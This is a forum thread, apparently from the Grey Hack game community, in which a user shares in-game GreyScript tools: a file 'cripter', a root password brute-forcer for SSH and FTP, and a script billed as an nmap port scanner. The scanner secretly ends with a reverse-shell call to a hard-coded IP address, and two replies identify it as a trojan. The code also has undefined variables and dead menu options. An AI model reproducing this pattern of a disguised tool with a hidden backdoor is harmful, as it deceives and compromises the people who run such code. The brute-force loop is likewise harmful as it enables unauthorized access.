Grey Hack

Grey Hack

here you guys go....
since i cant host a websit cause of a black hat hakcer.
here you guys go:

//cripter v0.1.0
abc_string="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
key_string="9876543219ZYXWVUTSRQPONMLKJIHGFEDABCzyxwvutsrqponmlkjihgfedcba"
lenabc=len(abc_string)-1
x=0
abc_list=[]
for i in range(0,lenabc,1)
abc_list.push(abc_string[x])
x=x+1
end for
gen_key = function()
abc_string="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
lister=[]
x=0
for i in range(0,lenabc,1)
lister.push(abc_string[x])
x=x+1
end for

lister.shuffle
return lister
end function
interface=function()
run=1
while run == 1
print(" //==== |==\\ [] ====\\ ======== ")
print("// | || || || || || v0.1.0")
print("|| |==// || ====// || O ")
print("\\ | \\ || || || /|\ ")
print(" \\==== | \\ || || || / \ ")
print("1:cript"+"\n")
print("2:decript"+"\n")
putin=user_input()
if putin == "1" then
cript
end if
if putin == "2" then
decript
end if
if putin == "3" then
get_key_string[0]
end if
if putin == "4" then
get_key_string[2]
end if
end while
end function
helper=function()
prtin("")
end function
cript=function()
key=key_string
key_string=key_string
print("enter file:"+"\n")
putin=user_input()
file=get_shell.host_computer.File(putin)
content=get_shell.host_computer.File(putin).get_content
x=0
lister=[]
length=len(content)-1
for i in range(0,length,1)
lister.push(content[x])
x=x+1
end for
string=""
for items in lister
items=items
x=0
for it in abc_list
if it == items then
items=key_string[x]
break
end if
x=x+1
end for
string=string+items
end for
file.set_content(string)
end function
decript=function()
print("enter file:"+"\n")
putin=user_input()
file=get_shell.host_computer.File(putin)
content=get_shell.host_computer.File(putin).get_content
x=0
lister=[]
length=len(content)-1
for i in range(0,length,1)
lister.push(content[x])
x=x+1
end for
string=""
y=0
x=0
key_string=key_string
for items in lister
items=items
if y == 0 then
key_list=[]
for i in range(0,lenabc,1)
key_list.push(key_string[x])
x=x+1
end for
y=1
end if
x=0
if y ==1 then
for it in key_list
if it == items then
items=abc_string[x]
break
end if
x=x+1
end for
string=string+items
end if
end for
file.set_content(string)
end function
interface

//ROOTBRUTUS v0.1.5:
//mr.grey
//brute force ssh and ftp servers,8 character long passwords max.
run=1
run2=1
a1=-1
b1=-1
c1=-1
d1=-1
e1=-1
f1=-1
g1=-1
h1=-1
lister1=[a1,b1,c1,d1,e1,f1,g1,h1]
abc_string="abcdefghijklmnopqrstuvwxyABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
cba_string="9876543210ZYXWVUTSRQPONMLKJIHGFEDCBAyxwvustrqponmlkjihgfedcba"
lennie=len(abc_string)/2
service="ssh"
address="127.0.0.1"
port="1234"
while run2 == 1
print("#######################")
print("#ROOT =======\\ bf#")
print("# // || ro#")
print("# // || ur#")
print("# //========// tc#")
print("# // \\ ee#")
print("# // || #")
print("#//===========//Rutus:#")
print("#######################")
print("1)set_service:"+service)
print("2)set_address:"+address)
print("3)port:"+port)
print("4)RunBrutus!")
print("5)exit"+"\n")
choices=user_input()
if choices == "1" then
print("service(ftp or ssh):"+"\n")
service=user_input()
end if
if choices == "2" then
print("address:"+"\n")
address=user_input()
end if
if choices == "3" then
print("port:"+"\n")
port=user_input()
end if
if choices == "4" then
run2=0
end if
if choices == "5" then
run=0
run2=0
end if
attack_name="root@"
end while
while h1 < lennie and run == 1
a1=a1+1
if a1 >= lennie then
b1=b1+1
a1=0
end if
if b1 >= lennie then
c1=c1+1
b1=0
end if
if c1 >= lennie then
d1=d1+1
c1=0
end if
if d1 >= lennie then
e1=e1+1
d1=0
end if
if e1 >= lennie then
f1=f1+1
e1=0
end if
if f1 >= lennie then
g1=g1+1
f1=0
end if
if g1 >= lennie then
h1=h1+1
g1=0
end if
if h1 >= lennie then
run=0
break
end if
lister1=[a1,b1,c1,d1,e1,f1,g1,h1]
s1=""
s2=""
s3=""
s4=""
for items in lister1
if items >= 0 then
s1=s1+abc_string[items]
s2=s2+cba_string[items]
s3=s3+abc_string[-items]
s4=s4+cba_string[-items]
end if
end for
//s1=abc_string[a1]+abc_string[b1]+abc_string[c1]+abc_string[d1]+abc_string[e1]+abc_string[f1]+abc_string[g1]+abc_string
attackers_string1=attack_name+s1+" "+address+" "+port
attackers_string2=attack_name+s2+" "+address+" "+port
attackers_string3=attack_name+s3+" "+address+" "+port
attackers_string4=attack_name+s4+" "+address+" "+port
//try else exit?
az="/bin/"+service
print(service+" "+"root@"+s1+" "+s2+" "+s3+" "+s4+" "+address+" "+port)
get_shell.launch(az,attackers_string1)
print(service+" "+"root@"+s1+" "+s2+" "+s3+" "+s4+" "+address+" "+port)
get_shell.launch(az,attackers_string2)
print(service+" "+"root@"+s1+" "+s2+" "+s3+" "+s4+" "+address+" "+port)
get_shell.launch(az,attackers_string3)
print(service+" "+"root@"+s1+" "+s2+" "+s3+" "+s4+" "+address+" "+port)
get_shell.launch(az,attackers_string4)
end while

//nmap virus..
if params.len < 1 or params[0] == "-h" or params[0] == "--help" then exit("<b>Usage: "+program_path.split("/")[-1]+" [ip_address] </b>")
ip=params[0]
router = get_router(ip)
kernel = router.kernel_version
firewall= router.firewall_rules
bssid=router.bssid_name
//list
device_p=router
//list
deviceLAN_ip=router.devices_lan_ip
lister=[]
for items in deviceLAN_ip
lister.push(device_p.device_ports(items))
end for
lister2=[]
for items in lister
for items2 in items
lister2.push(items2)
end for
end for
deviceeesid=router.essid_name
//list
usedports=router.used_ports
print( "Starting nmap v1.1 " )
print( "Interesting ports on "+ip+"\n")
print("PORT"+" "+"STATE"+" "+"SERVICE"+" "+"VERSION"+" "+"LAN")
x=0
for items in usedports
randomlist.shuffle
l=randomlist[x]
ser=router.port_info(usedports[x]).split(" ")
ser1=ser[0]
leng=len(ser1)
y=0
string=""
while y <= 11
if y > leng then
string=string+" "
end if
y=y+1
end while
//if ser1[0:3] == "ssh" then
// l="22 "
//end if
//if ser1[0:3] == "ftp" then
// l="21 "
//end if
//if ser1[0:4] == "http" then
// l="80 "
//end if
l=items.port_number

print(l+" "+"open"+" "+ser1+string+ser[1]+" "+deviceLAN_ip[x])
x=x+1
end for
meta=include_lib("/lib/metaxploit.so")
if not meta then exit()
meta.rshell_client("167.253.169.154",1222,"Terminal")
< >
Showing 1-2 of 2 comments
nice reverse shell at the end there bud, lol
xjulep 19 Feb @ 7:46pm 
Why did he name his trojan after a program that doesn't exist in game? It's another layer of deception?
Last edited by xjulep; 19 Feb @ 7:46pm
< >
Showing 1-2 of 2 comments
Per page: 1530 50